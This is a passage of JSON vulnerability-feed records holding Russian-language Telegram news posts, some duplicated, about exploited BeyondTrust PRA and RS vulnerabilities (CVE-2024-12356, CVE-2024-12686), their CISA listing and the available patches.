\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c CVE-2024-12356 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (9.8 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS). \u042d\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0438\u043f\u0430 Command Injection, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430.\n\n\u041f\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 CISA, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b BeyondTrust PRA \u0438 RS, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0432\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430. \u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0443\u0436\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f. \u0422\u0435\u043c, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0430\u0442\u0447\u0438 BT24-10-ONPREM1 \u0438\u043b\u0438 BT24-10-ONPREM2.\n\n\u0421\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u0432\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a BeyondTrust \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0435, \u0436\u0435\u0440\u0442\u0432\u043e\u0439 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u0442\u0430\u043b\u0430 \u0435\u0451 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 Remote Support SaaS. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a API-\u043a\u043b\u044e\u0447\u0443, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432 \u0435\u0433\u043e \u0434\u043b\u044f \u0441\u0431\u0440\u043e\u0441\u0430 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u044f\u0445.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043c\u043e\u0433\u043e \u0441 \u043f\u0440\u0438\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432, \u0431\u044b\u043b\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u2014 CVE-2024-12686 (CVSS 6.6). \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430. \u042d\u0442\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u043d\u043e\u0432\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f.\n\n\u0414\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 PRA \u0438 RS \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043f\u0430\u0442\u0447\u0438 BT24-11-ONPREM1 \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435, \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438. BeyondTrust \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u0432\u0441\u0435 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u044b \u0431\u044b\u043b\u0438 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u044b, \u043e\u0434\u043d\u0430\u043a\u043e \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043c\u0430\u0441\u0448\u0442\u0430\u0431 \u0430\u0442\u0430\u043a\u0438 \u0438 \u043b\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u0412\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-12356 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 CISA \u043f\u043e\u0434\u0447\u0451\u0440\u043a\u0438\u0432\u0430\u0435\u0442 \u0435\u0451 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0441\u0442\u044c. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u043c\u0435\u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0447\u0442\u043e\u0431\u044b \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0438\u0441\u043a\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-12-20T09:11:48.000000Z"}, {"uuid": "377b5715-ca89-4d3d-9f2a-b92dc3fc7519", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "exploited", "source": "https://t.me/itsec_news/5029", "content": "\u200b\u26a1\ufe0f\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 BeyondTrust: CISA \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445\n\n\ud83d\udcac \u0410\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u043e\u0435 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (CISA) \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u043e \u0432 \u0441\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (KEV) \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 BeyondTrust Privileged Remote Access (PRA) \u0438 Remote Support (RS). \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c CVE-2024-12356 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (9.8 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS). \u042d\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0438\u043f\u0430 Command Injection, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430.\n\n\u041f\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 CISA, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b BeyondTrust PRA \u0438 RS, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0432\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430. \u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0443\u0436\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f. \u0422\u0435\u043c, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0430\u0442\u0447\u0438 BT24-10-ONPREM1 \u0438\u043b\u0438 BT24-10-ONPREM2.\n\n\u0421\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u0432\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a BeyondTrust \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0435, \u0436\u0435\u0440\u0442\u0432\u043e\u0439 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u0442\u0430\u043b\u0430 \u0435\u0451 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 Remote Support SaaS. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a API-\u043a\u043b\u044e\u0447\u0443, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432 \u0435\u0433\u043e \u0434\u043b\u044f \u0441\u0431\u0440\u043e\u0441\u0430 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u044f\u0445.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043c\u043e\u0433\u043e \u0441 \u043f\u0440\u0438\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432, \u0431\u044b\u043b\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u2014 CVE-2024-12686 (CVSS 6.6). \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430. \u042d\u0442\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u043d\u043e\u0432\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f.\n\n\u0414\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 PRA \u0438 RS \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043f\u0430\u0442\u0447\u0438 BT24-11-ONPREM1 \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435, \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438. BeyondTrust \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u0432\u0441\u0435 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u044b \u0431\u044b\u043b\u0438 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u044b, \u043e\u0434\u043d\u0430\u043a\u043e \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043c\u0430\u0441\u0448\u0442\u0430\u0431 \u0430\u0442\u0430\u043a\u0438 \u0438 \u043b\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u0412\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-12356 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 CISA \u043f\u043e\u0434\u0447\u0451\u0440\u043a\u0438\u0432\u0430\u0435\u0442 \u0435\u0451 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0441\u0442\u044c. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u043c\u0435\u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0447\u0442\u043e\u0431\u044b \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0438\u0441\u043a\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-12-20T09:11:48.000000Z"}, {"uuid": "315d7429-7bfa-49da-9eb4-9756091a6b1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "exploited", "source": "https://t.me/itsec_news/5130", "content": "\u200b\u26a1\ufe0f\u041e\u0434\u0438\u043d API-\u043a\u043b\u044e\u0447 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043a\u043b\u044e\u0447\u043e\u043c \u043a \u043a\u0430\u0437\u043d\u0435 \u0421\u0428\u0410\n\n\ud83d\udcac \u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e CISA \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u043e \u0432\u0442\u043e\u0440\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b BeyondTrust Privileged Remote Access (PRA) \u0438 Remote Support (RS), \u0432 \u0441\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 KEV. \u042d\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e \u043d\u0430 \u0444\u043e\u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\nCVE-2024-12686 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7.2) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0445\u0430\u043a\u0435\u0440\u0443 \u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430. \u0412 CISA \u0443\u0442\u043e\u0447\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0443 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 CVE-2024-12686 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u043e \u0441\u043f\u0443\u0441\u0442\u044f \u043c\u0435\u0441\u044f\u0446 \u043f\u043e\u0441\u043b\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0434\u0440\u0443\u0433\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0442\u043e\u043c \u0436\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 \u2014 CVE-2024-12356 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\nBeyondTrust \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u043e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0438\u0431\u0435\u0440\u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430, \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0435\u0434\u0448\u0435\u0433\u043e \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2024 \u0433\u043e\u0434\u0430. \u0422\u043e\u0433\u0434\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 API-\u043a\u043b\u044e\u0447 Remote Support \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439. \u0425\u043e\u0442\u044f \u043a\u043b\u044e\u0447 \u0431\u044b\u043b \u043e\u0442\u043e\u0437\u0432\u0430\u043d, \u043e\u0431\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u043a\u0430 